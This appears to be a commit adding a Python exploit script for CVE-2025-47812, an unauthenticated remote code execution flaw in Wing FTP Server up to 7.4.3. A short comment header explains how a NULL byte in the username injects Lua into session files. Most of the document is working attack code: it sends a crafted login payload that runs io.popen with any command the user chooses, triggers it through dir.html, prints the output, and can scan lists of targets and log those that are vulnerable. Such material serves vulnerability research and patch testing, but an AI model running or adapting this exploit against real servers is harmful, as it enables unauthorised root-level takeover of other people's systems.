1+ # Exploit Title: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)
2+ # CVE: CVE-2025-47812
3+ # Date: 2025-06-30
4+ # Exploit Author: Sheikh Mohammad Hasan aka 4m3rr0r (https://github.com/4m3rr0r)
5+ # Vendor Homepage: https://www.wftpserver.com/
6+ # Version: Wing FTP Server <= 7.4.3
7+ # Tested on: Linux (Root Privileges), Windows (SYSTEM Privileges)
8+
9+ # Description:
10+ # Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE)
11+ # flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the 'username'
12+ # parameter during login, leading to Lua code injection into session files. These maliciously crafted
13+ # session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed,
14+ # resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows).
15+ # The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL)
16+ # and the session creation logic (which uses the full unsanitized username).
17+
18+ # Proof-of-Concept (Python):
19+ # The provided Python script automates the exploitation process.
20+ # It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html.
21+ # Upon successful authentication (even anonymous), a UID cookie is returned.
22+ # A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code,
23+ # leading to RCE.
24+
25+
26+ import requests
27+ import re
28+ import argparse
29+
30+ # ANSI color codes
31+ RED = "\033 [91m"
32+ GREEN = "\033 [92m"
33+ RESET = "\033 [0m"
34+
35+ def print_green (text ):
36+ print (f"{ GREEN } { text } { RESET } " )
37+
38+ def print_red (text ):
39+ print (f"{ RED } { text } { RESET } " )
40+
41+ def run_exploit (target_url , command , username = "anonymous" , verbose = False ):
42+ login_url = f"{ target_url } /loginok.html"
43+
44+ login_headers = {
45+ "Host" : target_url .split ('//' )[1 ].split ('/' )[0 ],
46+ "User-Agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0" ,
47+ "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" ,
48+ "Accept-Language" : "en-US,en;q=0.5" ,
49+ "Accept-Encoding" : "gzip, deflate, br" ,
50+ "Content-Type" : "application/x-www-form-urlencoded" ,
51+ "Origin" : target_url ,
52+ "Connection" : "keep-alive" ,
53+ "Referer" : f"{ target_url } /login.html?lang=english" ,
54+ "Cookie" : "client_lang=english" ,
55+ "Upgrade-Insecure-Requests" : "1" ,
56+ "Priority" : "u=0, i"
57+ }
58+
59+
60+ from urllib .parse import quote
61+ encoded_username = quote (username )
62+
63+ payload = (
64+ f"username={ encoded_username } %00]]%0dlocal+h+%3d+io.popen(\" { command } \" )%0dlocal+r+%3d+h%3aread(\" *a\" )"
65+ "%0dh%3aclose()%0dprint(r)%0d--&password="
66+ )
67+
68+ if verbose :
69+ print_green (f"[+] Sending POST request to { login_url } with command: '{ command } ' and username: '{ username } '" )
70+
71+ try :
72+ login_response = requests .post (login_url , headers = login_headers , data = payload , timeout = 10 )
73+ login_response .raise_for_status ()
74+ except requests .exceptions .RequestException as e :
75+ print_red (f"[-] Error sending POST request to { login_url } : { e } " )
76+ return False
77+
78+ set_cookie = login_response .headers .get ("Set-Cookie" , "" )
79+ match = re .search (r'UID=([^;]+)' , set_cookie )
80+
81+ if not match :
82+ print_red ("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed." )
83+ return False
84+
85+ uid = match .group (1 )
86+ if verbose :
87+ print_green (f"[+] UID extracted: { uid } " )
88+
89+ dir_url = f"{ target_url } /dir.html"
90+ dir_headers = {
91+ "Host" : login_headers ["Host" ],
92+ "User-Agent" : login_headers ["User-Agent" ],
93+ "Accept" : login_headers ["Accept" ],
94+ "Accept-Language" : login_headers ["Accept-Language" ],
95+ "Accept-Encoding" : login_headers ["Accept-Encoding" ],
96+ "Connection" : "keep-alive" ,
97+ "Cookie" : f"UID={ uid } " ,
98+ "Upgrade-Insecure-Requests" : "1" ,
99+ "Priority" : "u=0, i"
100+ }
101+
102+ if verbose :
103+ print_green (f"[+] Sending GET request to { dir_url } with UID: { uid } " )
104+
105+ try :
106+ dir_response = requests .get (dir_url , headers = dir_headers , timeout = 10 )
107+ dir_response .raise_for_status ()
108+ except requests .exceptions .RequestException as e :
109+ print_red (f"[-] Error sending GET request to { dir_url } : { e } " )
110+ return False
111+
112+ body = dir_response .text
113+ clean_output = re .split (r'<\?xml' , body )[0 ].strip ()
114+
115+ if verbose :
116+ print_green ("\n --- Command Output ---" )
117+ print (clean_output )
118+ print_green ("----------------------" )
119+ else :
120+ if clean_output :
121+ print_green (f"[+] { target_url } is vulnerable!" )
122+ else :
123+ print_red (f"[-] { target_url } is NOT vulnerable." )
124+
125+ return bool (clean_output )
126+
127+ def main ():
128+ parser = argparse .ArgumentParser (description = "Exploit script for command injection via login.html." )
129+ parser .add_argument ("-u" , "--url" , type = str ,
130+ help = "Target URL (e.g., http://192.168.134.130). Required if -f not specified." )
131+ parser .add_argument ("-f" , "--file" , type = str ,
132+ help = "File containing list of target URLs (one per line)." )
133+ parser .add_argument ("-c" , "--command" , type = str ,
134+ help = "Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically." )
135+ parser .add_argument ("-v" , "--verbose" , action = "store_true" ,
136+ help = "Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled." )
137+ parser .add_argument ("-o" , "--output" , type = str ,
138+ help = "File to save vulnerable URLs." )
139+ parser .add_argument ("-U" , "--username" , type = str , default = "anonymous" ,
140+ help = "Username to use in the exploit payload. Default: anonymous" )
141+
142+ args = parser .parse_args ()
143+
144+ if not args .url and not args .file :
145+ parser .error ("Either -u/--url or -f/--file must be specified." )
146+
147+ command_to_use = args .command if args .command else "whoami"
148+ verbose_mode = True if args .command else args .verbose
149+
150+ vulnerable_sites = []
151+
152+ targets = []
153+ if args .file :
154+ try :
155+ with open (args .file , 'r' ) as f :
156+ targets = [line .strip () for line in f if line .strip ()]
157+ except Exception as e :
158+ print_red (f"[-] Could not read target file '{ args .file } ': { e } " )
159+ return
160+ else :
161+ targets = [args .url ]
162+
163+ for target in targets :
164+ print (f"\n [*] Testing target: { target } " )
165+ is_vulnerable = run_exploit (target , command_to_use , username = args .username , verbose = verbose_mode )
166+ if is_vulnerable :
167+ vulnerable_sites .append (target )
168+
169+ if args .output and vulnerable_sites :
170+ try :
171+ with open (args .output , 'w' ) as out_file :
172+ for site in vulnerable_sites :
173+ out_file .write (site + "\n " )
174+ print_green (f"\n [+] Vulnerable sites saved to: { args .output } " )
175+ except Exception as e :
176+ print_red (f"[-] Could not write to output file '{ args .output } ': { e } " )
177+
178+ if __name__ == "__main__" :
179+ main ()
0 commit comments